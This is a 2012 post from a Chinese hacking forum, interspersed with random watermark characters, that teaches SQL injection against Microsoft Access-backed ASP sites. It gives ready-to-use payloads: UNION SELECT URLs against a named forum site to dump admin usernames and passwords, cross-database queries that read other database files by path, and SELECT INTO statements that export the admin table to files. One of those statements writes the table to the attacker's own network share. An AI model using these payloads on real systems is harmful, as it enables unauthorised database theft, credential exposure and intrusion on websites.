找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2068|回复: 0
打印 上一主题 下一主题

Access高级注入语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:20:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
--------------------------------------------------------------6 L7 Z, ~/ t- A7 Z9 Y
union查询法
0 O! }) |9 O% o/ w" L首先要说的就是查询办法,一般的查询办法就是
) q! m5 Z, h2 H8 Y+ K) V
6 C0 U5 h+ A* V程序代码
2 p0 E+ K8 U7 x1 s! rand 1=(select count(*) from admin where left(id,1)='1')
; S  Y- X, }  P3 H* h9 Q- [1 ^5 O8 Y; m
这样开始判断了...就算你使用各种各样的工具,也是一个个字的去猜去判断对不对,不对再换一个.这样的坏处显而易见,慢. 特别是在猜测经过32位MD5加密过的段的时候...基本上你可以去泡壶茶再喝一杯.
  E" _+ I& R" z( l/ {% D% }' v所以这个时候,union select横空出现.别以为只能在PHP里用哦...
! y  t' e5 }- p. t譬如你有一个ACCESS点:
- K, z* t  d$ J! r& t4 A4 O  {程序代码
1 x+ x/ g* |  `0 C- ihttp://bbs.tian6.com/xiaoyang.asp?coder=1' `. p6 e! D3 P
" p6 G1 L4 X: C( F( d
知道存在admin表(你当然可以拿个工具先快速猜出表和字段来),+ C0 d2 o3 s% W: ~7 o: H- F
然后我们直接来:
( @1 k; c  L0 y3 }4 s6 Y程序代码
0 W0 ?  }; w1 ?5 I/ K# `1 O2 i; yhttp://bbs.tian6.com/xiaoyang.asp?coder=1 union select 1,2,3,4,5,6..... from admin [where coderx=1(如果有限制查询条件)]
' @" P0 E) y( a* G. L, C9 ?2 z2 U$ u
这里从1开始加到回显正常为止.然后替换URL里相应在页面出现的1~X为password,username之类的东西,就可以直接暴内容了.多方便,多快捷.茶可以先放放,凉一些再来喝了.. \6 f# f8 t% p) z* B- r
! \4 G7 \# L3 k, `) L9 ^( \
/ l9 V( s; M; ]  j

, o, M: G! N( Z% T---------------------------------------------------------------4 N: n1 `0 v$ h" p6 u) n' E* T  Y
Access跨库查询% o$ Q! h% M& I* s4 Y
有时候某个网站服务器上有两个以上系统,你发现其中一个有ACCESS注入点,但是后台没法提权,另外一个系统没有注入点,但是后台却有你需要的功能.那么这个时候,跨库来了.当然,你还可以用来MDB溢出,渗透的过程等等.他的作用往往是意想不到的.) T  V0 u& Y* `
跨库的查询语句:
( b( A6 r" n. `/ N- y9 E4 H( w( t子查询:
& g5 Z) W" Y, d* ~- |程序代码9 O" y8 c4 J* }' R9 u
and (Select Count(*) from [D:\tianyang\backdoor\xiaoyang.mdb].test)>0
# b. O: |' Y  J  c3 o
8 f6 K5 I8 a# q: ounion查询:  ]+ M* o! k7 p7 F' n. v
程序代码$ ]1 z5 x# k/ [, S1 W; _7 y
union select 1,2,3,4.... from admin in "D:\xioatianyang\okok.asa" where id=1* N+ X4 M2 n7 m
$ V4 M( O1 n, {. B4 D6 L
跨库的作用当然不只这些了,大伙继续发挥吧..这里提供两篇参考过的文章连接:
* `: B' q' ^! \# h$ L. r" c; a3 i6 Z1 I程序代码
& i' F- u: w4 z6 V% N3 M9 w* _http://www.4ngel.net/article/46.htm
: U1 ^  e8 b) [9 _. J' }: z9 m) shttp://hf110.com/Article/hack/rqsl/200502/66.html
2 i( [+ {/ f; t" [! m3 J0 b% L$ N: ?" J' n# y7 z6 G) c
---------------------------------------------------------------
3 @8 d) ?6 N* dAccess注入,导出txt,htm,html5 p; Y, }: \- ~
子查询语句:
* I! i( B0 ]/ |! ~$ \5 h程序代码( ?3 P* X  v0 p* l/ ^3 |" F  D! f- e% N4 b
Select * into [test.txt] in 'd:\web\' 'text;' from admin; h5 ~9 F, U8 l3 ]) p# M4 D

' c+ f4 d9 `- o  @- t2 P' [8 x; c这样就把admin表的内容以test类型存进了d:\web里面.
5 E/ |3 {+ |9 o3 h4 iUNION查询:
# N1 v8 X/ G; _0 C程序代码* x1 M4 d; p& K' i  M6 z; e. _
union select * into [admin.txt] in 'c:\' 'test;' from admin
3 J/ d3 v$ q2 m& D3 q! p1 Y, G8 S* W! h* M
而且这里也可以保存到本地来:: R7 X0 V0 @2 [- \. B
程序代码
1 g1 ]! `' l# j6 z8 G$ ySelect * into [test.txt] in '\\yourip\share' 'text;' from admin; G% X! u; \( K# z9 J6 |

* s# y5 S, j" G! X8 [6 P不过,很多人包括我自己测试,本机数据库来操作是没问题的,但是一旦在注入点上,子查询会回显没有权限,union会回显动作查询不能作为行的来源.可以说还是个难题...原因大概是UNION只适用查询结合,UNION后面不能跟动作.和这个内容相关的,本论坛已有一帖:  V  c  D7 B( w1 G( D
4 S! g; B2 V( J0 b/ F2 O
程序代码
9 b) K1 B* n. M. ehttp://bbs.tian6.com/viewthread.php?tid=3016&extra=page%3D7; M7 q( f0 `( S' b# S% M, u+ D2 o

+ `* X  |0 b! u; e' Z/ G因为网上有许多和这相关的资料,所以我还是把他引进来了.如果一旦这方法运用成功的话,理论上我们只要知道表名,不需要知道段名,就可以看到该表所有内容了.或者我们可以建.php.tianyang  asp.asp之类的文件或者目录来导进文件~还是会很强大的.
0 P  v( V  i- h( J' x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表